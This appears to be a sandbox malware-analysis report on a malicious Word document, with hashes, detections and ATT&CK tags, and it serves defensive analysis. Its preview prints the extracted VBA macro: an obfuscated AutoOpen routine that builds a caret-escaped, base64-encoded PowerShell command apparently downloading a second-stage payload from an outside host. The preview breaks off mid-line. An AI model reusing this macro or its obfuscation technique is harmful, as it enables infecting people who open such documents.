Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 16555b75a521b090…

MALICIOUS

Office (OLE)

143.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-12-10
MD5: 5526e2ed8e8967b45169f1e3faae563e SHA-1: ee4ec1042df28b3f9c43a4e7aa6dd4c357205e70 SHA-256: 16555b75a521b0903484f0d3f4f6359b7509601f75172bc7be7d8bf950d03729
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen function that is designed to execute a command. This command appears to be obfuscated but reconstructs to a PowerShell command that likely downloads and executes a second-stage payload. The presence of the AutoOpen macro and the execution of a command strongly indicate malicious intent.

Heuristics 6

  • ClamAV: Doc.Malware.Sagent-6697295-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-6697295-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 45723 bytes
SHA-256: 69cacb554ad8c8ec6ab376e0e2abe42884a1f7dcd97bf3e661eadf02a348eb15
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const DukIToNoWiFOfauwaqyhLyroWowI = 0
Sub AutoOpen()
On Error Resume Next
Dim gyToKEforAJyFYfnaNYxYxIVinv(4)

If 12 = 12 + (3 * 0) Then
gyToKEforAJyFYfnaNYxYxIVinv(0) = CLng(2665)
End If
gyToKEforAJyFYfnaNYxYxIVinv(1) = Sqr(3)
gyToKEforAJyFYfnaNYxYxIVinv(2) = Month(26652665)
gyToKEforAJyFYfnaNYxYxIVinv(3) = Fix(2665.3)
Dim uQOxiFTykYhebULmutiNaCYtewaJOSP(4)

If 11 = 11 + (7 * 0) Then
uQOxiFTykYhebULmutiNaCYtewaJOSP(0) = CLng(473)
End If
uQOxiFTykYhebULmutiNaCYtewaJOSP(1) = Sqr(7)
uQOxiFTykYhebULmutiNaCYtewaJOSP(2) = Month(473473)
uQOxiFTykYhebULmutiNaCYtewaJOSP(3) = Fix(473.7)
gyNUTyCOCoaedBUkEGIsUCAdYBAVAtUHadykAZymIze = "d." + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "x" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + " /c p^O^w^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^R^s^H^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^L^L^.^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^x^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^v^A^H^c^A^a^Q^B^l^A^G^8^A^c^Q^B^r^A^H^g^A^a^w^B^h^A^G^w^A^c^w^A^u^A^G^M^A^b^w^B^t^A^C^8^A^V^g^B^S^A^E^U^A^L^w^B^r^A^G^8^A^d^A^B^u^A^G^U^A^c^g^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^G"
Dim ZENeblreTopulyCYsEyCyXiPAvuti(4)

Dim WumoguwAviIKAZapxyFyZOdaxYqAWYptiWEk(4)

If 12 = 12 + (7 * 0) Then
WumoguwAviIKAZapxyFyZOdaxYqAWYptiWEk(0) = CLng(3142)
End If
WumoguwAviIKAZapxyFyZOdaxYqAWYptiWEk(1) = Sqr(7)
WumoguwAviIKAZapxyFyZOdaxYqAWYptiWEk(2) = Month(31423142)
WumoguwAviIKAZapxyFyZOdaxYqAWYptiWEk(3) = Fix(3142.7)
Dim TiFERapAlEsUFOCexYGICYeWIjYbAsESEKEDoXiZixuaa(4)

If 13 = 13 + (9 * 0) Then
TiFERapAlEsUFOCexYGICYeWIjYbAsESEKEDoXiZixuaa(0) = CLng(9964)
End If
TiFERapAlEsUFOCexYGICYeWIjYbAsESEKEDoXiZixuaa(1) = Sqr(9)
TiFERapAlEsUFOCexYGICYeWIjYbAsESEKEDoXiZixuaa(2) = Month(99649964)
TiFERapAlEsUFOCexYGICYeWIjYbAsESEKEDoXiZixuaa(3) = Fix(9964.9)
If 13 = 13 + (3 * 0) Then
ZENeblreTopulyCYsEyCyXiPAvuti(0) = CLng(8137)
End If
ZENeblreTopulyCYsEyCyXiPAvuti(1) = Sqr(3)
ZENeblreTopulyCYsEyCyXiPAvuti(2) = Month(81378137)
ZENeblreTopulyCYsEyCyXiPAvuti(3) = Fix(8137.3)
Dim NaQucaaiZUQImAToqUkbUsyBewEpUaUWy(4)

If 10 = 10 + (6 * 0) Then
NaQucaaiZUQImAToqUkbUsyBewEpUaUWy(0) = CLng(635)
End If
NaQucaaiZUQImAToqUkbUsyBewEpUaUWy(1) = Sqr(6)
NaQucaaiZUQImAToqUkbUsyBewEpUaUWy(2) = Month(635635)
NaQucaaiZUQImAToqUkbUsyBewEpUaUWy(3) = Fix(635.6)

Dim qOSYWUDokiDUmUkaGEDEzEiAQeqyHAbixefWIQisY(4)

If 10 = 10 + (9 * 0) Then
qOSYWUDokiDUmUkaGEDEzEiAQeqyHAbixefWIQisY(0) = CLng(4214)
End If
qOSYWUDokiDUmUkaGEDEzEiAQeqyHAbixefWIQisY(1) = Sqr(9)
qOSYWUDokiDUmUkaGEDEzEiAQeqyHAbixefWIQisY(2) = Month(42144214)
qOSYWUDokiDUmUkaGEDEzEiAQeqyHAbixefWIQisY(3) = Fix(4214.9)
Dim NyjeVEdilEtICQyGUyhUPOBalanYJojAB(4)
Dim xEtapODEqAgiRkaNyCiqyqhoQIceniMIP(4)

If 11 = 11 + (1 * 0) Then
xEtapODEqAgiRkaNyCiqyqhoQIceniMIP(0) = CLng(1973)
End If
xEtapODEqAgiRkaNyCiqyqhoQIceniMIP(1) = Sqr(1)
xEtapODEqAgiRkaNyCiqyqhoQIceniMIP(2) = Month(19731973)
xEtapODEqAgiRkaNyCiqyqhoQIceniMIP(3) = Fix(1973.1)

Dim RAcoKuqivsiVAwIQylUdYzEkAkoaATAsy(4)

If 10 = 10 + (5 * 0) Then
RAcoKuqivsiVAwIQylUdYzEkAkoaATAsy(0) = CLng(2370)
End If
RAcoKuqivsiVAwIQylUdYzEkAkoaATAsy(1) = Sqr(5)
RAcoKuqivsiVAwIQylUdYzEkAkoaATAsy(2) = Month(23702370)
RAcoKuqivsiVAwIQylUdYzEkAkoaATAsy(3) = Fix(2370.5)
If 10 = 10 + (9 * 0) Then
Dim lEDBEdajIleVYcyLonXAsYcawiMoxYX(4)

If 11 = 11 + (6 * 0) Then
lEDBEdajIleVYcyLonXAsYcawiMoxYX(0) = CLng(8128)
End If
lEDBEdajIleVYcyLonXAsYcawiMoxYX(1) = Sqr(6)
lEDBEdajIleVYcyLonXAsYcawiMox
... (truncated)